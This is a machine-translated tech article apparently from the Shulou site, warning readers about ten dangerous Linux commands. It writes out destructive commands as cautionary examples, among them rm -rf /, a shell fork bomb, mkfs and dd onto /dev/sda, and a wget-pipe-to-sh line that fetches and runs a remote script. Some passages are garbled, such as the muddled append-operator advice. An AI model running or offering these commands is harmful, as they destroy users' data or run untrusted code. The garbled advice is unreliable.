In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-04-01 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >
Share
Shulou(Shulou.com)06/01 Report--
In this issue, the editor will bring you orders about the dangers in Linux. The article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.
1. Rm-rf command
The rm-rf command is one of the fastest ways to delete a folder and its contents.
Even the slightest mistake or ignorance can lead to the collapse of an irreversible system.
The following are options for some rm commands:
The 1.rm command is usually used to delete files under Linux.
The 2.rm-r command recursively deletes folders, even empty folders.
The 3.rm-f command deletes' read-only files' without being asked. Deleting a file under Linux does not care whether the file is read-only, but whether its parent directory has write permission. So, the parameter-f just means that you don't have to delete the confirmation one by one, but delete it all quietly. In addition, the original rm command does not actually delete the prompt, but the general distribution will add the rm alias to the-I parameter to request deletion confirmation, and-f suppresses the prompt.
4.rm-rf /: forces the deletion of everything in the root directory.
5.rm-rf *: forces the deletion of all files in the current directory.
6.rm-rf. Forces the current folder and its subfolders to be deleted
From now on, please be careful when you execute the rm-rf command. We can create an alias for rm-I in the ".bashrc" file to the 'rm' command to prevent accidents when deleting files with the' rm' command, which asks you to confirm each delete request. Most distributions have already done this, if not, do so, and be sure to think about what you are doing before using the-f parameter! The translator himself has learned the lesson of blood and tears. )
2.: {: |: &};: command
This is an example of a fork bomb.
This is done by defining a function called':', which calls itself twice, once in the foreground and once in the background. It will be executed repeatedly until the system crashes.
3. Command > / dev/sda
This command writes the output of a 'command' to the block device / dev/sda.
This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss for the entire block device.
4. Mv folder / dev/null
This command moves a 'folder' to / dev/null.
In Linux, the / dev/null or null device is a special file, and all data written to it is erased and a successful write operation is returned.
Of course, it is important to note that this command does not stop the data recovery software-so the real complete destruction needs to be done with dedicated software or techniques.
5. Wget http://malicious_source-O-| sh
This command downloads a script from a (perhaps) malicious source and executes it.
The Wget command downloads the script, and sh executes the downloaded script (unconditionally).
Note: you should always pay attention to the source of your download package or script. You can only use those that download scripts / programs from trusted sources.
6. Mkfs.ext3 / dev/sda
The above command will format the block device 'sda',. After executing this command, your block device (hard drive) will be formatted, directly bringing your system to an unrecoverable stage.
Usually we don't use devices like / dev/sda directly unless they are used as raw devices.
Generally speaking, you need to divide sda into partitions such as sda1 and sda2 before using it. Of course, whether you use sda or sda1, this mkfs of block devices or partitions is devastating, and the above data will be evaporated.
7. > file
This command is often used to empty the contents of a file or to record command output.
However, please make sure that the output file is empty or does not exist before execution, otherwise the original file will not be recovered-even the data recovery software may not be able to help you.
What you may really want to use is ">", which accumulates new output to the file instead of refreshing that file.
Incorrectly or ignorantly typing commands like "> xt.conf" with the above will overwrite the configuration file or any other system configuration file.
8. ^ Foo bar
This command is used to edit previously run commands without retyping the entire command.
If you do not thoroughly examine the risk of changing the original command when using the foobar command, this can lead to real trouble.
9. Dd if=/dev/random of=/dev/sda
This command will write random junk files to the block device sda to wipe out the data, leaving your system in a chaotic and unrecoverable state.
Remember when it was said that mv to a black hole can't delete data completely? Then this command gives you a way to delete it completely! Of course, just to be on the safe side, you can rewrite it many times.
10. Hide command
The following command is actually the first command above (rm-rf).
The code here is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command from the terminal may erase your root partition.
The real danger is hidden and cannot be easily detected. You must always pay attention to what you are doing and what will happen.
Remember, never compile / run code from unknown sources.
What is Linux system Linux is a free-to-use and free-spread UNIX-like operating system, is a POSIX-based multi-user, multi-task, multi-threaded and multi-CPU operating system, using Linux can run major Unix tools, applications and network protocols.
These are the dangerous commands in Linux shared by the editor. If you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.